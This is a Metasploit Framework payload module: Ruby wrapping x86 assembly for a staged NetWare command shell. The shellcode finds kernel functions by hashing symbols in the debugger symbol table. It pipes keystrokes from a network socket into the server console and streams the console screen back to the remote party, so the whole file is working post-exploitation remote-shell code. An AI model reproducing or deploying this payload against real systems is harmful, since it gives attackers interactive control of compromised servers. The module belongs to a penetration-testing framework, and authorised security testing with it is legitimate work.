##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'metasm'
require 'msf/core'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

	include Msf::Sessions::CommandShellOptions

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'NetWare Command Shell',
			'Description'   => 'Connect to the NetWare console (staged)',
			'Author'        => 'toto',
			'License'       => MSF_LICENSE,
			'Platform'      => 'netware',
			'Arch'          => ARCH_X86,
			'Session'       => Msf::Sessions::CommandShell,
			'PayloadCompat' =>
				{
					'Convention' => 'sockesi'
				},
			'Stage'         =>
				{
					'Offsets' =>
						{
							#'EXITFUNC' => [ 443, 'V' ]
						},
					'Assembly' => <<EOS
jmp main_code
;;;
; resolve a symbol address using the DebuggerSymbolHashTable
; (could resolve only against function name for smaller code)
;;;

resolv_addr:
	push edi
	push ecx
	xor edi, edi
r_loop:
	mov edx, [ebp+edi*4]
	test edx, edx
	jz  r_next
r_loop2:
	xor esi, esi
	mov ebx, [edx+8]
	mov al, byte ptr[ebx]
r_iloop2:
	test al, al
	jz r_after2
	inc ebx
	movzx ecx, byte ptr[ebx]
	ror esi, 0x0d
	add esi, ecx
	dec al
	jmp r_iloop2
r_after2:
	cmp esi, [esp+0x0c]
	jz r_found
	mov edx, [edx]
	test edx, edx
	jnz r_loop2
r_next:
	inc edi
	cmp edi, 0x200
	jnz r_loop
	jmp r_end
r_found:
	mov eax, [edx+4]
r_end:
	pop ecx
	pop edi
	ret


main_code:
	; save socket identifier
	call main_next
main_next:
	pop edi
	add edi, (socket_ptr - main_next)
	mov eax, esi
	stosd

	; search DebuggerSymbolHashTable pointer using GDT system call gate
	; -> points inside SERVER.NLM
	cli
	sub esp, 8
	mov ecx, esp
	sgdt [ecx]

	cli
	mov ebx, [ecx+2]
	mov bp, word ptr [ebx+0x4E]
	shl ebp, 16
	mov bp, word ptr [ebx+0x48]

f_finddebugger:
	cmp dword ptr[ebp], 0
	jnz f_next
	cmp dword ptr[ebp+4], 0x808bc201
	jz f_end
f_next:
	dec ebp
	jmp f_finddebugger
f_end:
	mov ebp, [ebp-7]

	; resolve function pointers
	mov cl, 15
resolv_ptrs:
	push [edi]
	call resolv_addr
	stosd
	dec cl
	test cl, cl
	jnz resolv_ptrs

	sti

	; all screens have the same size
	push edi
	lea esi, [edi+4]
	push esi
	call [edi-0x18]        ; SERVER.NLM|GetScreenSize

	; allocate 2 buffer for the main screen and the backup
	xor eax, eax
	xor ebx, ebx
	mov ax, word ptr[edi]
	mov bx, word ptr[esi]
	imul eax, ebx
	mov [edi+8], eax

	push eax
	call [edi-8]          ; AFPTCP.NLM|LB_malloc
	mov [edi+0xc], eax

	call [edi-0x14]       ; SERVER.NLM|GetSystemConsoleScreen
	mov [edi+0x10], eax

	sub esp, 4
	mov ebp, esp          ; n

recv_loop:
	xor ebx, ebx
	inc ebx

	push 200000           ; tv_usec
	push 0                ; tv_sec (0)
	mov edx, esp          ; timeout

	sub esp, 4
	mov ecx, esp          ; rescode

	push 1                ; num socket (1)
	push ecx              ; &rescode
	push edx              ; &timeout
	push 0                ; NULL
	push 0                ; NULL
	push 0                ; NULL
	push [edi-0x40]       ; socket
	call [edi-0x2C]       ; LIBC.NLM|bsd_select_mp
	add esp, 0x28
	test eax, eax
	jnz end

	call update_screen

	sub esp, 4
	mov edx, esp
	push edx              ; &rescode
	push ebp              ; &n
	push ebx              ; FIONREAD
	push [edi-0x40]       ; socket
	call [edi-0x38]       ; LIBC.NLM|_ioctlsocket
	add esp, 0x14
	test eax, eax
	jnz end
	cmp [ebp], 0
	jz recv_loop
	; check we are not longer than the key buffer size
	cmp [ebp], 32
	jbe recvd
	mov [ebp], 32
recvd:
	lea eax, [edi+0x20]
	push [ebp]
	push eax
	call recv_data
	add esp, 8

	mov ebx, [ebp]
	lea esi, [edi+0x20]
	mov byte ptr[esi+ebx], 0

	;push 0x00FFFEFF
	;mov eax, esp
	;push eax
	;push [edi+0x10]         ; screen
	;call [edi-0x3C]         ; SERVER.NLM|DirectOutputToScreen
	;add esp, 0x0c

send_input:
	movzx eax, byte ptr[esi]
	test eax, eax
	jz send_end

	cmp al, 0x0a
	jz send_enter

	; we need to inject the command in the console input
	push 0x00
	push 0x00               ; should be the keycode in fact
	push eax                ; key value
	push 0x0
	push [edi+0x10]         ; screen
	call [edi-0x20]         ; SERVER.NLM|AddKey
	jmp send_next

send_enter:
	; send special code for enter
	push 0x1c
	push 0x00
	push 0x00
	push 0x02
	push [edi+0x10]         ; screen
	call [edi-0x20]         ; SERVER.NLM|AddKey

	push 0x00FFFEFF
	mov eax, esp
	push eax
	push [edi+0x10]         ; screen
	call [edi-0x3C]         ; SERVER.NLM|DirectOutputToScreen
	add esp, 0x0c
send_next:

	add esp, 0x14
	inc esi
	jmp send_input
send_end:

	jmp recv_loop

end:
	sub esp, 4
	mov ebp, esp          ; rescode

	push ebp              ; rescode
	push 2                ; SHUT_RDWR
	push [edi-0x40]       ; socket
	call [edi-0x30]       ; LIBC.NLM|bsd_shutdown_mp

	push ebp              ; rescode
	push [edi-0x40]       ; socket
	call [edi-0x34]       ; LIBC.NLM|bsd_close_mp

	; go back to the main kernel loop
	call [edi-0x0C]       ; SERVER.NLM|kWorkerThread


update_screen:
	pushad

	push [edi+0x0c]
	push 0
	push [edi+0x08]
	push 0
	push [edi+0x10]
	call [edi-0x1C]       ; SERVER.NLM|ReadScreenIntoBuffer
	add esp, 0x14

	mov edx, [edi+0x0c]
	xor ebx, ebx
	xor esi, esi
	xor ebp, ebp
checksum:
	cmp ebx, [edi+4]
	jz end_checksum
	xor ecx, ecx
check_line:
	cmp ecx, [edi]
	jz next_line
	mov al, byte ptr[edx]
	ror esi, 0x0d
	add esi, eax
	cmp [edx], 0x20FFFEFF
	jnz check_line2
	mov ebp, ebx
	inc ebp
check_line2:
	inc edx
	inc ecx
	jmp check_line
next_line:
	inc ebx
	jmp checksum
end_checksum:

	cmp esi, [edi+0x14]
	jnz new_checksum
	cmp [edi+0x18], 1
	jz end_update
	mov [edi+0x18], 1
	push ebp
	call send_screen
	add esp, 4
	jmp end_update

new_checksum:
	mov [edi+0x14], esi
	mov [edi+0x18], 0
end_update:
	popad
	ret


send_screen:
	push ebx

	sub esp, 4
	mov esi, esp

	push esi
	lea eax, [esi+2]
	push eax
	push [edi+0x10]
	call [edi-0x10]       ; SERVER.NLM|GetInputCursorPosition
	add esp, 0x0c

	mov ebx, [esp+0x0c]
	xor edx, edx
	mov ecx, [edi+0x0c]
	mov eax, dword ptr[edi]
	imul eax, ebx
	add ecx, eax

send_loop:
	cmp bx, word ptr[esi+2]
	jae last_line
	mov dx, word ptr[edi]
	jmp next_send
last_line:
	mov dx, word ptr[esi]
next_send:

	push edx
	push ecx
	call send_data
	add esp, 0x08

	cmp bx, word ptr[esi+2]
	jae end_sl

	push 0x0000000a
	mov eax, esp
	push 1
	push eax
	call send_data
	add esp, 0x0C

	inc ebx
	add ecx, edx
	cmp bx, word ptr[esi+2]
	jbe send_loop
end_sl:
	pop ebx
	pop ebx
	ret


send_data:
	push [esp+8]
	push [esp+8]
	push [edi-0x40]
	push [edi-0x24]
	call sendrecv_data
	add esp, 0x10
	ret

recv_data:
	push [esp+8]
	push [esp+8]
	push [edi-0x40]
	push [edi-0x28]
	call sendrecv_data
	add esp, 0x10
	ret


sendrecv_data:
	push ebp
	push ecx
	push ebx
	push edx
	mov ebp, esp

	push [ebp+0x20]         ; iov_len
	push [ebp+0x1C]         ; iov_base
	mov ecx, esp            ; msg_iov

	xor ebx, ebx            ; struct msghdr
	push ebx                ; msg_flags
	push ebx                ; msg_controllen
	push ebx                ; msg_control
	inc ebx
	push ebx                ; msg_iovlen (1 array)
	dec ebx
	push ecx                ; msg_iov
	push ebx                ; msg_namelen
	push ebx                ; msg_name

	mov ecx, esp            ; message

	sub esp, 4
	mov edx, esp            ; rescode

	push edx                ; rescode
	push 0                  ; flags
	push ecx                ; message
	push [ebp+0x18]         ; socket
	call [ebp+0x14]         ; SERVER.NLM|bsd_recvmsg_mp

	mov esp, ebp
	pop edx
	pop ebx
	pop ecx
	pop ebp
	ret




socket_ptr:
	dd 0
fct_ptrs:
	dd 0xadc21dfc         ; SERVER.NLM|DirectUnformattedOutputToScreen
	dd 0xb08c8051         ; LIBC.NLM|_ioctlsocket
	dd 0x4907702d         ; LIBC.NLM|bsd_close_mp
	dd 0x312cc527         ; LIBC.NLM|bsd_shutdown_mp
	dd 0x46c65ccd         ; LIBC.NLM|bsd_select_mp
	dd 0x3605cc1c         ; LIBC.NLM|bsd_recvmsg_mp
	dd 0x35bdd27c         ; LIBC.NLM|bsd_sendmsg_mp
	dd 0xe98bfec3         ; SERVER.NLM|AddKey
	dd 0x6ea378a4         ; SERVER.NLM|ReadScreenIntoBuffer
	dd 0x898d560c         ; SERVER.NLM|GetScreenSize
	dd 0x03cfcbe3         ; SERVER.NLM|GetSystemConsoleScreen
	dd 0xfe52051f         ; SERVER.NLM|GetInputCursorPosition
	dd 0x9294bdcb         ; SERVER.NLM|kWorkerThread
	dd 0x6877687c         ; AFPTCP.NLM|LB_malloc
	dd 0xaf50f9e7         ; AFPTCP.NLM|LB_free
screen_info:
	dd 0
	dd 0
	dd 0
	dd 0
	dd 0
	dd 0            ; screen checksum
	dd 0            ; screen state
end_reverse:
	nop
EOS
				}
			))
	end

	def size
		279
	end
end
